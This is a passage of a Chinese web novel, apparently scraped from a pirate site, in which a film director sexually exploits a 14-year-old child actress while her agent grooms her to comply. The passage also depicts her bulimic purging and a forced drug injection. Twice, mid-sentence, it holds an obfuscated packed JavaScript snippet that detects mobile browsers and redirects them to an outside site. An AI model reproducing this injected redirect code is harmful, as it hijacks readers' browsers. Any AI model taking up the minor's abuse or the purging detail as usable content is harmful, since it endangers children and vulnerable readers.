司机把隔板收起来,催促她:“王导叫你呢,快去啊,有没有点眼色啊!” 被这么一催,她心里咯噔一下,立刻下了车,乖乖地搀扶上王良奥的胳膊。 王良奥安慰她道:“没事没事,别怕,我训他。” 转头对司机骂道:“嚣张惯了,我管不住了是吧?这是你能骂的人?没礼貌!” 司机连连道歉:“对不住啊杜小姐,我也是看王导要摔倒了,急了点,您多体谅,我还有事,王导就交给您了。” 杜小凡张口结舌地看着那辆黑色的车调了个头,朝着来时的方向疾驰而去。 她搀着王良奥走过金碧辉煌的酒店大堂,走进绘着大朵玫瑰的电梯门。 电梯门缓缓关闭,数字一层一层地跳动。 跳动到13层,电梯停下。 一大一小两对鞋底踏上铺着柔软地毯的走廊,悄无声息,灯光一路如水般流淌。 “1301、1302……” 杜小凡数着房门号,王良奥的身体几乎已经全部倚靠在她身上,从上车开始她就一直浑身无力,腿软得像面条,紧张到大气不敢喘。 “1310,到了王导。” 房卡贴上门锁,发出嘀嘀的解锁声,门一打开,杜小凡立刻放开手,软绵绵道:“王导,您早点休息,我先回去了。” “别走啊,别走……”王良奥半搂半抱着,手掌捂住她的嘴,一把将她拖拽进房,“天这么晚,地这么偏,你哪来的车回去啊?” 另一只手腾出空来,驾轻就熟地拴上了安全锁。 杜小凡被胁迫着转过身,才发现昏暗灯光下,套间的大床上已经洒满了玫瑰花瓣。 玫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477752|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红色的花瓣中间,静静摆着一套天蓝色中学女生校服套裙。 杜小凡难以置信地看着面前的景象,颈部爬上细密的鸡皮疙瘩,惊恐到丧失了声音。 “喜欢吗?”王良奥贴在她耳边,轻声问,“买来好久了。” “为你准备的。” …… 恶心,难以言喻的恶心。 杜小凡望着粉刷成青绿色,绘着金色藤蔓的天花板,眼泪直直从眼角流向脸颊两侧。 王良奥从浴室裹着浴袍出来,看到她呆滞的表情,啧了一声:“还生气呢?” 他赤着脚掀开被子,贴近杜小凡:“行啦,别哭了,这点事儿,以后你再大点就会知道,这都不算什么。” 杜小凡呆呆望着天花板,仿佛聋了一样。 王良奥也没计较,靠在床头,点燃香烟,吸了一口,一只手轻轻摸着杜小凡光滑细瘦的腰线,似是回味无穷。 “以后就保持这个体重,你就这个样子,特别好,跟小时候简直一模一样。”王良奥调笑道。 女孩就像死尸般一动不动,任由他上下其手。 “你去圈子里打听打听,我风评不错,对自己的女人算是大方的。”他说,“我答应你,达摩诀的女主一定是你,哪个投资商来协调我都不换,这样行了吧?” 杜小凡依旧不说话。 王良奥也不耐烦了:“趁我现在心情好,有什么条件尽管提。我告诉你,女人矫情一次是可爱,再矫情下去就是装腔拿调了。” 他掀开被子下床,穿上衬衫和西裤,又套上绿色西装外套。 出门之前,转头瞅了眼如同躺尸般的杜小凡,告诫道:“报警没用,第一区总侦察局局长跟我是朋友。你都满十四岁了,从法律上来说……咱们这也不算诱导儿童吧?就算报警闹大了,充其量也就是个仙人跳,条件没谈拢而已,你可别犯傻。” “有什么事儿,多问问芮蓉。你还是个孩子,她是大人,比你脑子清楚。” 芮蓉就是杜小凡的经纪人,从她八岁起就签走了她的童星经纪约,一手把她带大到现在。 听到这一句话,杜小凡的黑眼珠子转了转,扭头看向他。 大概是看杜小凡流泪的样子实在可怜,王良奥又怜悯般补充一句。 “人要学会审时度势,事情都已经发生了,要尽量争取利益最大化。” 门关上了。 …… “从你八岁入行那年起,我就一直在教你,要做一个懂得争取利益的人。”短发女人眼神锐利,“你这是在怪我是吗? 杜小凡红着眼眶看向她:“所以我就成了你交换利益的工具是吗?” “达摩诀是给你带来名气,不是给我。”女人说,“不要天真,娱乐圈,成王败寇,不上则下。” “达摩诀女主这个位置,你知不知道卜思雨她经纪人,也就是她妈,里里外外找了王导多少次,还有那些不能说的关系,我就不说了,反正她也是个上不了台面的东西。” 芮容的一只手轻轻摸上杜小凡的脸颊,帮她擦去眼泪:“但你不一样,就算是潜规则,做王良奥的固定情人,总比那些乱七八糟的关系来得好……相信我,从你八岁开始,我们付出过多少努力,你都忘了吗?我不会害你。” “八岁那年,我在幼儿园门口见到你,一眼看出你是个万里挑一的美人坯子。我找你父母,买断你的经纪约,带你去试镜、演戏,几个区几千公里的跨度来回,你熬夜,我也通宵陪你背台词。” “大夏天,为了演古装剧里的角色,戴不透气的头套,最后你中暑发痧昏倒,我陪护了三天三夜;大冬天,演落水戏,零下十几度的天,在结冰的池塘里泡着,你痛经的时候,凌晨三点我起来给你熬红糖鸡蛋水。亲生父母也不过如此。” 想起那碗热腾腾又甜滋滋的红糖鸡蛋汤,杜小凡的眼泪又泉水般涌出来。 “王良奥对情人从不吝啬,虽然玩得花了点,但他要钱给钱,要资源给资源,而且最重要的是,他的情人从不超过十八岁。”女人意有所指地说。 听到最后一句话,杜小凡泪眼朦胧地看向面前的女人。 “再忍忍,再忍几年,到时候站稳了脚跟,一切都会好的。”芮容怜爱地劝道,“你在这个圈子混,干净是不可能的。与其万人枕,不如择一人,我说的话,你好好想一想。” 桌上的纸巾堆成山,但杜小凡的眼泪已经不再流了。 手机嗡一声振动。 她按亮手机屏幕,锁屏是和经纪人脸贴脸的自拍合影。 【来信号码:未储存】 -天凉了,多加衣,要好好吃饭。 杜小凡抠出SIM卡,丢进垃圾桶,头也不回地走出会议室大门。 27. 名利乍现 烈日灼灼,褪色斑驳的古城墙上挂着鲜艳的红色横幅——“预祝《达摩诀》开机大吉!”。 树荫下,摆满了各家粉丝推来的五颜六色应援冷饮车和印着大幅照片的展台。 阳光再刺眼,都不如相机频繁的快闪来得强度高。 光芒大盛,闪得杜小凡直流眼泪。 “看这里!”摄影师举着镜头不停按着快门键,“很好,很好!” “摆一个更妩媚点的姿势,哎,好的,好看好看。” 摄影师招手指挥杜小凡和旁边的男生贴得更近,“两个人姿势再亲密点……不错,般配!” 男生比杜小凡略大一些,穿着一件洁白的僧袍,虽然做出揽背的动作,但手却虚空揽着,避开了她的内衣肩带。 杜小凡不由多看他两眼。 拍摄结束,坐在片场外的椅子上休息,杜小凡递给男生一罐咖啡:“给,天这么热,喝点冰饮吧?” “谢谢。” 男生接过易拉罐,朝杜小凡礼貌一笑,烈阳下一张干干净净的脸,眉眼清俊,令人心生好感,犹如三伏天潜入冰凉的气泡水,说不出的舒适。 杜小凡也拉开手中易拉罐的拉环:“你是帝影的学生吗?参加校招试镜来的?” 男生仰头喝了一口咖啡:“不是,我不是科班生,只是一个小公司的舞蹈练习生,机缘巧合被熟人推荐来的。” 这张侧脸线条英俊,衔接流畅,令杜小凡心旷神怡。她忍不住看了又看,心道这么好看的人居然还没火。 正想多问几句,场务急匆匆过来:“小凡,定妆照拍完了吧?王导让你去他那里聊聊剧本的事。” 城墙外,有父母带着小孩春游,孩子手没拿稳,气球窜上了天,顿时哭叫出声:“气球!气球!” 淡黄色和粉紫色的气球攒在一起,在城墙的砖上飘飘荡荡。 杜小凡的心扑通一声坠入水底。 …… 饵料被投入鱼缸,红色金色的小鱼们一拥而上,争抢着水中的鱼食。 推开房间门,空调的冷气迎面袭来,桌上摆着两盒精致的鳗鱼便当,一看便知价格不菲。 “来了?” 男人把手上剩下的鱼食全部扔进鱼缸,睡袍松松垮垮敞开,低着头点烟,从耷拉的眼皮缝里看她一眼,“坐,先吃饭。” 杜小凡在桌前坐下,打开包装袋里的筷子,夹起一块鳗鱼。 王良奥叼着烟在对面坐下,烟雾毫不避讳喷向她的脸。 “怎么?还害羞?这都半年多了,也该适应了吧。” 杜小凡低下头避开烟雾,沉默不语。 王良奥也拆开筷子,夹起一块鳗鱼,大口地咀嚼,边嚼边含糊不清地问:“刚刚……你和那小瘪佬聊什么呢?” 杜小凡猛地抬起头。 男人笑了一笑,用筷子指指正对房门的窗户:“总导演的房间,当然要俯瞰全场,尽在掌握。” 女孩又低下头。 “没聊什么。”她小声说,“我就是好奇问问他,是怎么进的剧组。” “哎唷喂,我的好妹妹。”王良奥夹了一块寿司喂到她嘴边,“你想知道什么,还用问他?问我不就行了?” 寿司几乎要贴上她的嘴。杜小凡犹豫一下,还是张口吃掉了那块寿司。 王良奥十分满意:“那个小瘪佬是一个我听都没听过的小公司的练习生,你也知道最近男团模式火得很,谁都想分一杯羹……本来这种人,我是看都不会看的,但他不知道哪来的人脉,找到裴婉命给他背书。” “裴婉命她老公跟我是朋友,而且……”王良奥顿了顿,欲言又止,“我一想,算了,塞个小角色,也就送个人情的事,塞就塞吧。” 说罢,摇了摇头,神态别有意味:“……这里面关系恐怕也深了去了。” 不知为何,听到这样的内幕,杜小凡心头咕噜一下,涌出一小股隐秘的愉悦。 原来,不止她一个人在经历这些。 潜规则,本来就是常态化的事。 没什么大不了的。 “我对女人没什么要求。” 王良奥微抬下巴,用眼神肆意赏弄对面那张明艳动人的小脸,“只有几条,漂亮,瘦,听话,懂事,别沾花惹草。” 桌下的脚慢慢地蹭上了她的小腿。 …… 柠檬味的沐浴露搓出大朵大朵的泡沫,花洒开到最大,泡沫混合水流,沿着小腿流下来,流到浴室瓷砖上。 杜小凡慢慢在马桶边蹲下。 浴室外,手机铃声响个不停。 杜小凡没有理会,花洒在身旁哗啦啦地放着水,她大口大口地喘着气。 最终,抱着马桶,头一歪,吐了出来。 按下马桶的冲水键,水流带走了池里的秽物,也掩盖了一切声音。 杜小凡从厕所隔间缓慢地走出来,合拢手掌,接了一捧水,往脸上泼了泼。 冰凉的水温使她发烫的脸颊舒适了些许。 撑着洗手池的两侧,抬起脸,冷白偏青的灯光下,那双乌黑的大眼睛依然美丽,眼白里却爬满了血丝,眼周也布满了密密麻麻的红疹。 门外有人敲门。 杜小凡打开门,对上助理的笑脸:“小凡,我到处找你,该吃午饭了,你晚上还要拍戏,看我给你买了啥?” “锵锵锵锵——” 她拎起手上红白相间的饭盒:“你最爱的!城东那家老字号的小鱼馄饨!” 听到鱼这个字,杜小凡喉咙又开始翻涌,她忍住胃里的翻江倒海,扯出一个笑容。 “好,谢谢你,放这儿吧,我待会吃。” “吃什么吃?” 门口一声怒斥。 助理转过头,对上芮蓉愠怒的脸。 “不知道王导对她的要求最重要的一条就是瘦吗?”芮蓉劈头盖脸地骂道,“馄饨汤里和馅里多少油你心里没数?” “对不起,蓉姐,”助理唯唯诺诺,不敢言语,“我看小凡从片场回来就把自己关在房里,以为她不太舒服,所以想着给她买点爱吃的高兴高兴……” “高兴高兴——”芮蓉沉声训道,“高兴之后呢?她吃掉这碗馄饨,你能对她的体重、对她的人生负责吗?” “对不起,对不起……” 助理被吓哭了,连声地道着歉:“我这就把馄饨拿走。” 杜小凡静静旁观着,开口说:“没事,你把馄饨给我吧。” 她哑着嗓子对经纪人说:“她也是一片好心,您别骂了。待会我闻一下,就倒掉。” 芮蓉犀利的眼神看了她一眼,见她神色平静,这才点头:“行吧,就闻闻。” 阖上门,杜小凡打开饭盒的盖子,喷香的馄饨在汤汁里浸泡着,圆鼓鼓的,就像一条条小金鱼。 她用筷子拨了拨馄饨,胸前的每个毛孔都像被堵死,心底的声音在愤怒呐喊,几近喷薄而出。 她明明不胖,为什么要减肥? 为什么要如此苛待自己、折磨自己? 瘦,到底是为了事业的需要,还是为了王良奥的私人喜好? 从小到大,因为长得漂亮,所有的声音都在她耳边告诉她,你这张脸就是老天给的礼物,不去娱乐圈太可惜了。 她见识浅薄,不知道什么是光明大道,于是循着声音,理所应当踏进了艺人的门槛。 既然入了行,就该一条道走到黑,不成功,便成仁,没有中间地带。这是经纪人从小给她传输的观念。 但她没有想到,这条路会这么难走。 成功是否必要?潜规则的路有没有尽头? 她到底为了什么,需要忍受这些? 杜小凡麻木地看着汤汁里漂浮的绿色葱花,拆开包装袋里的勺子,舀起一个馄饨,送进嘴里。 自从被要求减肥以后,她再也没有吃过这家馄饨。这是她小时候最爱吃的馄饨,父母带着她远赴第一区,就为了吃这家远近闻名的 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她坐上保姆车,打开手机查看社交平台。 热搜第一位,“杜小凡红衣绝艳”。 第二位,“杜小凡绝世美貌”。 第三位,“达摩诀选杜小凡算是选对了”。 “给。”经纪人递给她一瓶绿色的果汁,“冰的,加了羽衣甘蓝和姜黄粉,有效抑制食欲。” 杜小凡打开瓶盖,喝了两口,就旋上盖子。 “难喝?” 杜小凡点点头。 芮蓉失笑,替她把头发捋到耳后。 “一定很饿吧?你从小就馋,我知道减肥对你来说很难熬。” “艺人,是一个商品。精美的外表是职业需要。”芮蓉语重心长地说,“瘦,既是王良奥的私人喜好,也是为了你的上镜需求。王良奥的审美还是有一套。” “你看看那些粉丝,从各个区坐飞舰赶来,都是为你而来,只为看你一眼。你的超话粉丝暴涨十几万,公司的前台全是影迷寄给你的礼物。” 芮蓉心满意足:“我帮你选的这条路不好吗?S级大女主,影帝做配,起点比别人高出一倍,美貌头衔也立住了,一切都是最好的安排,所有的付出全都值得!” 付出? 付出就是减肥、卖笑加陪睡? 杜小凡都快不认识付出这个词了。 打开cctop,像以前一样随意地对着手机拍了一段自拍视频。发布之后短短一秒,手机嘀嘀嘀响个不停,私信涌进来上万条赞美和爱意。 杜小凡愣住了。 虽然知道自己红了,但她终于在这一刻感知到名气的具象化。 她一条条仔细看着那些评论。看的过程中,聊天软件不断跳出信息。 “小凡,什么时候有空老同学聚一下啊。” “小凡,祝贺祝贺,祝贺达摩诀大爆啊哈哈,你太厉害了!对了,能引荐一下王导吗?” “小凡,听说你和萧影帝关系不错啊,能不能帮我们问一下他有没有空做个专访?” …… 车窗外的景色在飞驰,杜小凡的心跳也在飞驰。 “砰砰——” “砰砰——” “砰砰——” 她听见了。 那是名利的烟花在夜空绽放的美妙声响。 - 嘉年华晚会,杜小凡作为《达摩诀》女主角,第一个挽着萧铭的手出场。 走过长长的红地毯,无数镁光灯追随着她。 那一刻,被王良奥压在身下的恶心反胃,抠嗓子抱着马桶吐的痛苦全都消失不见。 她提着闪闪发亮的银色裙摆,转身,摆姿势,定格,朝摄像师微笑打招呼。 世界是我的,我是冉冉升起的新星。 28. 标好价格 窗台上摆着一盆小小的绿色仙人掌,玻璃前横贯着一条线,线上用夹子夹满了在剧组拍的拍立得照片和粉丝送的明信片。 来信粉丝用真挚的笔触写着:小凡加油,你就是凡粉心中的最闪亮的那颗星!期待你成为大大大明星的那一天哦! 白色日历上,用红笔画出一个圈。 今年,杜小凡十七岁了。 事业上,她手握大爆剧《达摩诀》,还有几部播出和待播的A级作品;头衔上,她是娱乐圈最令人期待的新晋小花旦,正朝着半山腰奋勇前行。 学业上,她也是粉丝们的骄傲,以第一名的成绩轻轻松松被帝国电影学院录取。 网上有个评价说,此生无以为报,来世还做凡粉。 虽然是调笑,但是杜小凡这种完美得没有瑕疵的事业型偶像,确实让其他家对自己爱豆恨铁不成钢的粉丝羡慕得直流口水。 “小凡,生日快乐!” 粉丝在片场给她送来定制蛋糕。 蛋糕上点着蜡烛,周围精心地做出她演过的所有角色小玩偶,红衣女、蓝装女……都是人设差不多的角色。 “小凡,知道你胃口小,”粉丝央求她,“你就吃一块吧,就一小块。” “宝宝,一小块我也吃不完呀。”杜小凡为难地说。 粉丝想了想:“要不,你选个人物吃掉?” “那……行吧。”杜小凡拔出那个红衣小姑娘的玩偶,“我就要这个吧。” “我也最喜欢这个!”粉丝的眼睛闪亮亮,“这是我最喜欢的角色!” 杜小凡在粉丝们期待的注视下吃完了那个甜腻的巧克力玩偶,天气太热,巧克力在太阳下开始融化,手指头上黏黏糊糊,她下意识蜷缩起掌心。 其他粉丝催促:“快吹蜡烛吧,小凡。” “对,小凡,许个愿吧。” 杜小凡闭上眼睛,深深地吸了一口气,睁开眼,吹灭了蜡烛。 围观的粉丝一片欢呼。 “小凡,你许了什么愿?”粉丝问道。 杜小凡绽开一个甜蜜芬芳的笑容:“说出来就不灵啦。” 看了看时间,还没到下一场戏,她急匆匆回到住所,一口气灌下一整瓶矿泉水,钻进卫生间。 在马桶前半蹲下身,熟练地将食指伸进喉咙口,用力一抠。恶心感瞬间钻上嗓子,她俯下身,微微用力。 “呕——” 水混合着红色糖衣巧克力、以及胃里没消化完的午饭残渣,全部吐了出来。 若无其事地按下马桶冲水键,杜小凡擦了擦嘴,走出卫生间。 不知何时,她迷恋上了催吐。 对外,她是食欲小的小鸟胃,怎么吃也吃不胖,对内,她暴饮暴食,吃完了就抠着嗓子吐。 一年下来,她已经达到抠吐自如的程度,只要食指触碰嗓子眼,食物就能轻轻松松反刍倒流。 杜小凡坐在化妆镜前,往脸上补了层妆,遮了遮脸颊不正常的潮红和眼下的一排小红疹。 门外响起刷卡声,有人推门进来。 “小凡,你怎么不接王导电话?” 经纪人想发火,又硬生生忍住,“王导电话都打到我这里来了,说今晚要给你过生日,可你一直不接电话。” 这两年带出杜小凡这么个摇钱树,又有了王良奥的资源加持,芮蓉可谓是春风得意,接连签了几个外形不错的好苗子,忙得自顾不暇,因此放养了杜小凡好一阵子。 “不好意思啊蓉姐,”杜小凡嘶哑着嗓子说,“我刚在背剧本,没看手机。” 经纪人走到她身后,扳过她的脸瞧了片刻,目光又扫过她食指关节上的疤痕。 “我最近没关心你,你也要多注意身体。看这手指,总是弄伤,不知道的还以为我在虐待你,回头你粉丝又要在网上骂我了。” 伸手摸了摸那道疤痕,顿了顿,轻描淡写地说:“下午我帮你跟剧组请假,你去做个美甲吧。” “你不是最喜欢做美甲了吗?” 杜小凡沉默片刻,说:“好。” “晚上我派车来接你,你跟王导好好过生日。今天开心点。” “好。” …… “今天开心吗?” 王良奥扫了眼大厅里的演奏团,“这是第一区最好的外国餐厅,菜系集合了达霍亚三国特色菜,你想吃什么都有。” 杜小凡托腮望着窗外,夜色如水般在钢琴和小提琴合奏变调曲里缓缓流动。 王良奥见她托腮的手又换了新的美甲,忍不住说:“怎么又弄美甲?你们小姑娘的喜好我真看不懂,指甲涂个亮黄色,哪里好看?” 你当然看不懂了。 因为我根本不喜欢美甲,颜色全都是随便选的,越引人注目越好。 杜小凡心里想。 频繁换奇异的亮色美甲,粉丝的注意力就会被指甲吸引过去。 只有这样,才不会被人注意到她手指关节上因为常年催吐,被牙齿叩出的深色疤痕。 见她不回答,王良奥也没计较。 “我听芮蓉说,你从小就是吃货。” 王良奥宠溺地看着女孩,“她说她在幼儿园盯上你,就是因为你站在棉花糖的摊子前不肯走,别的小孩哭闹都特别讨人厌,唯独你哭闹起来,让人想把全世界的珍宝都送到你面前。” 杜小凡勉强地笑了笑:“蓉姐对我很好,她只有一个儿子,没有女儿,她待我就像亲生女儿一样。” 王良奥笑了笑,叉起一块鹅肝送到她嘴边。杜小凡顺从地张嘴衔过。 “你呀,真是单纯又乖巧,又漂亮。虽然我谈过的恋爱不少,但我还是最喜欢你。” 杜小凡细嚼慢咽着嘴里的鹅肝,心底溢出一声自嘲般的苦笑。 原来这种关系叫谈恋爱。 “你吃啊,怎么吃这么慢呢,”王良奥把一盘牛排朝她面前推了推,“保持身材是好事,但也要适度吃点。” 杜小凡用刀切着牛排,肉里的血丝让她有种想吐的冲动。 强忍着作呕感,她咽下了口中的肉。 催吐一年有余,从最开始的报复性进食,到现如今,她对所有的食物都已经丧失了兴趣。 看到食物就反胃,嗓子眼涌起想吐的冲动。她上网查了,这种病叫做进食障碍。 王良奥往后一靠,目光势在必得地锁住灯光下的面容:“我给你的东西最多,你数数是不是?帝国电影学院的录取资格、A级项目、房子、车、包、首饰……其他人,我玩腻了就玩腻了,什么时候这么用心对待过?” 杜小凡忽然警觉:“王导,我知道您对我好……” 王良奥抬手制止了她,从对面推过来一叠文件,眼神黝深:“这些都不说了,以后我还会对你更好。” 他扬扬下巴,示意杜小凡打开文件。 杜小凡犹豫着,缓缓打开了文件封面。 “S级?!” 王良奥得意地笑了,努努嘴,示意她继续往下翻。 下一页。 “女主角(饰演者:杜小凡)”。 她震惊地抬头看着王良奥,不明白对方葫芦里卖的什么药——为什么会在自己没提出要求的情况下,又奉上一个顶好的、必然会爆火的S级项目给自己? “王导,这……” “你今年十七岁了吧?” 王良奥点燃烟问道。 “嗯。” 明年就十八岁了。杜小凡在心里说。 “十八岁了,就成年了。”王良奥惋惜地说,“十八岁,女孩最好的年龄就结束了。” “这个S级项目,”他温情脉脉地看着杜小凡,“就当是我送你的分手礼物吧。” 杜小凡难以置信地翻着手中的项目合同和剧本。 她从八岁入行开始演戏,她不是花瓶,对演戏有一套自己的见解。虽然囿于王良奥提供的资源一直在雷同的角色中打转,可她有野心,想要拍更好的戏,演更突破的角色。 越看,越感到心里的喜悦在膨胀,任何一个入了门槛的演员都能看出来,这是一个制作班底和情节剧本都极好的项目。 杜小凡抬起头,乌黑的眼睛对上黑框眼镜后眯起的眼眸。 看到那双大眼睛里因为惊喜、不可置信等复杂情绪而满溢的泪水,王良奥吐出一个烟圈,微微一笑。 “签吧。” 服务生适时地递过来一只笔,杜小凡接过,在纸页的尾端签下自己的名字。 一瓶红酒喝完,司机载着两人再次去到玫瑰花园酒店。 杜小凡把身份证明递过去,前台戴着口罩的男生双手接过,坐在电脑前执行登记。 看着他的头顶,杜小凡犹豫了一下:“请问……” 穿玫瑰色制服的男生抬起头:“小姐,需要为您服务什么?” “你可以摘下口罩吗?”杜小凡要求道,“抱歉,我有点听不清你说话。” 男生摘下口罩,看清那张陌生的脸,杜小凡愣了愣。 “小姐,有什么可以帮助您?” 男生重复了一遍。 “没有,”杜小凡怔怔道,“没有什么需要服务的,我搞错了。” 男生礼貌地递过身份证明。 王良奥搂住她的肩膀,笑道:“走吧,小糊涂蛋,这也能搞错,你今晚真是喝得有点多。” 绘着玫瑰图样的电梯门缓缓关闭。 杜小凡闭上眼睛,不去看电梯跳动的数字。 翻云覆雨过后,王良奥抚摸着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489076|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜小凡的肩头,忽地笑了。 “宝贝,想不想见识点好东西?” 今晚发生的事情太多,杜小凡还没回过神,倚靠在床上,注视着墙上悬挂着的时钟,分针和秒钟还差一点就要跳动到十二点准点,这一天即将过去。 她心不在焉地问道:“什么好东西?” 王良奥翻身下了床,蹲下身,开始输保险箱的密码。这是他在玫瑰花园酒店的固定套房,常年摆放着他的日常用品。 密码输入正确,保险箱的柜门自动开启。 杜小凡坐起身,看见黑色的涂层里,上层堆满小山般的金条,下层放着几支钢笔。 “那是什么?” 她迷茫地问道。 王良奥拿出一支钢笔,拧开钢笔的笔帽,慢慢地拔掉笔身。 随着笔身一点点移动,藏在笔身下的,含有蓝色液体的注射刻度也一寸寸显现。 王良奥熟练地将针头扎进自己的小臂,蓝色的针剂缓缓推入静脉的血流。 脸部的肌肉开始震颤,男人的表情逐渐变得狰狞、扭曲、极度亢奋。过了一会儿,他浑身瘫软地靠在椅子上,脸朝着天,不住地吐着气。 “这是在干什么……” 杜小凡看不懂眼前的场景,喃喃地问。 话音戛然而止。 她忽然明白过来,这是什么。 杜小凡的嘴唇开始颤抖,脸色也变得惨白。 王良奥拿出另一支蓝色针剂,朝杜小凡缓缓走来。 “别怕,是让你开心的好东西。市面上从未流通的货,别人想弄还弄不到呢。” “不,不!……我不要这个!” 杜小凡手脚冰凉,浑身发抖往外爬,王良奥像一头丧失理智的兽,哈哈大笑着从后面把她搂进怀里,针头眼看就要戳入她的血管。 杜小凡的心跳静止了。 “星星是回家的港,孩子你今夜远航,你是否听见天使的声响……” 床头柜上的手机铃声突兀地响起。 王良奥的动作滞住了。 杜小凡反应过来,立刻爬出他的怀抱,一把抓过手机,爬下床,裹上外套,逃命般地爬出了房间。 鞋带都没绑,一路奔跑下山坡,手机还在持续响铃,顶着路人异样的眼光狂奔,直到看见街道零星的灯火,才终于止住了脚步。 她头发凌乱,一只鞋被跑丢了,站在不算繁华的街道上,终于嚎啕大哭。 为这劫后余生般的幸运。 哭到喘不上气,杜小凡才想起要看看刚刚救了她的那一通电话到底是谁打来的。 【来电号码:未储存】 【来电号码:未储存】 【来电号码:未储存】 …… 打了三四通电话以后,发现没人接,对方终于放弃了拨打电话。 信箱里有未读短信。 【来信号码:未储存】 -生日快乐。 -有没有许愿? -许了什么愿? 当然许了。杜小凡泪流满面地盯着那几条短信。 许愿,十八岁提前到来,十七岁提前结束。 …… “过个生日而已,怎么搞成这样?”芮蓉把杯子往桌上重重一放,“你去给王导道个歉,服个软。” “王良奥也承认,那天确实是嗨了,他就是想吓唬吓唬你,他是怕你长大了、心野了,万一闹出点什么不在他掌控范围的事,闹得大家都难堪,想让你这一年乖乖的而已……这不还是给了你一部S级项目吗?” 杜小凡坐在沙发上,安静垂眸,像个精致的瓷娃娃:“我不想再这样下去了,我要解约那部S级项目。” “解约?”芮蓉不气反笑,把项目协议书哗啦啦翻到最后一页,拍到她面前,“你好好看看违约条款。” 杜小凡的视线落在最后一段的“予以薪酬的五倍赔偿。” 她睁大眼睛,又看了一遍。 怎么会这样? 手颤抖着将纸的一角捏成团。 她知道了……从一开始王良奥就想好了,要靠这个合同的巨额违约金、以及那晚的针剂绑住她…… 他要避免她在十八岁逃离他的掌心后,有朝一日幡然醒悟,把整个事件全部曝光,在舆论上对他造成不良影响。 即使他势力如此庞大,即使他知道她根本没有证据……他也要把这点微弱的可能性从一开始就摁死灭绝。 “解约?你赔得起吗?我们得罪得起王良奥吗?”芮蓉冷笑着说。 她绕到杜小凡身后,按住她的肩膀,玻璃桌面反射出两张如影随形的面孔。 “这一年,能别闹了吗?”芮蓉轻声说,“乖一点。还有一年,就结束了。” 29. 树林真相 帝国第一区柏林街靠近老城区,楼房低矮,墙皮泛黄,钴蓝色玻璃像一扇扇盔甲林立在楼层之间,让人心头发闷。 杜小凡坐在咖啡馆靠窗的位置,注视着对面的店铺出了神。包子店、面馆、棋牌室和破旧的旅馆,统统随意地挤在一起,乱中有序。 其余几家店都没什么生意,唯有棋牌室偶见人员进出,门口摆了一棵绿得水头充足的招财树迎风招摇,花盆边倚靠着竖长的黑色包袋,老板正在换新的金属招牌,用锤子叮叮当当敲着钉子。 “卡布奇诺可以吗?热量很低很低,适合你们女艺人。” 咖啡杯散发着香气,稳稳当当放在她面前,杜小凡的注意力被转回来,看向对面的男人。 “我看了你的档案,虽然迟到了几天,但还是祝你十七岁生日快乐。”男人取下墨镜挂在胸前。 杜小凡勉强笑了笑:“谢谢。有什么事就直说吧,我很忙,实在没空在这里消磨时间。” 对面胡子拉碴的男人温和笑了笑:“先自我介绍一下,我叫司理群,是兰斯娱乐综艺部的策划导演,我们近期筹划了一档综艺,想邀请你参加,不知道你有没有兴趣?” 原来是这个原因。 杜小凡失去兴趣,敷衍地喝了口杯中的咖啡,推拒道:“我的所有行程由我的经纪人决定,你联系她就可以。” 男人从包里掏出一份文件,推到她面前:“这是我们的策划书,你可以看一下。” “不必了……”杜小凡不耐地想要把文件推回去,目光忽地定格在放大的黑色标题上。 “《双岛求生》荒野真人秀策划方案” “启动日期:5月31日” 也是岛,也是5月底。 将文件推回去的手顿了一顿,翻开下一页,杜小凡漫不经心问道:“这个岛在哪里?既然是岛的话,应该靠海吧?” “的确靠海。在很偏远的地方。”男人说,“靠近国界线,再多走几步就要到亚特林和马维角了,如果坐渡轮,也可以通往达加奥。” 翻到最后一页,仔细看了看,“胜利者给予丰厚奖励”——杜小凡皱眉:“丰厚奖励,能有多丰厚?现金吗?” “如你所想,金额我暂时不能透露,总之,比你想象的还要丰厚。”男人笑道。 杜小凡合上文件,不置可否。 “你怎么会想到邀请我?”她不解地问道,“我不是综艺咖,也没有综艺经验,论名气,我也只是乍红而已。况且,你还是直接联系我本人,为什么不联系我经纪人?” 男人微笑:“我不喜欢联系经纪人,喜欢直接联系艺人,这样我才能充分地接触到艺人本身,了解她们是什么样的人。” “那你觉得我是什么样的人?” “虽然年纪小,但我认为你是一个独立自主的人,在成年与未成年的界限当中,你也需要自己独立做一些决定嘛。” 一张薄薄的烫金名片,被男人的食指按住,在白色咖啡桌上平移着推了过来。 “如果做好了决定,及时联系我。”男人又戴上了墨镜。 “做决定之前,我还有最后一个问题。” “请问。”男人颌首。 “兰斯娱乐是大公司,协议一旦开始履行,你们是否能保证……”杜小凡犹豫了一下,说,“保证任何人都不能中途上岛,控制我的人身自由。” “首先,在节目没启动开拍之前,所有的嘉宾名单都是保密的。其次,与节目无关,岛屿本来就是私人名下属地,一直处于封闭状态。”男人言简意赅地说。 杜小凡若有所思。 男人起身,朝她伸出一只手:“那么,我先回去了,期待你的致电。” “不用等回去了。” 杜小凡搅动咖啡的动作停下。 “我现在就可以做决定,我愿意出演这档节目。” …… “小凡,行李我帮你收拾好了。” 芮蓉蹲在地上,翻找着行李箱里的衣服,“票你说你自己定,定好了没?你还记得吧?冯导的电影《岛上有雪》,几个月前就谈好的,让你去岛上客串一下。” 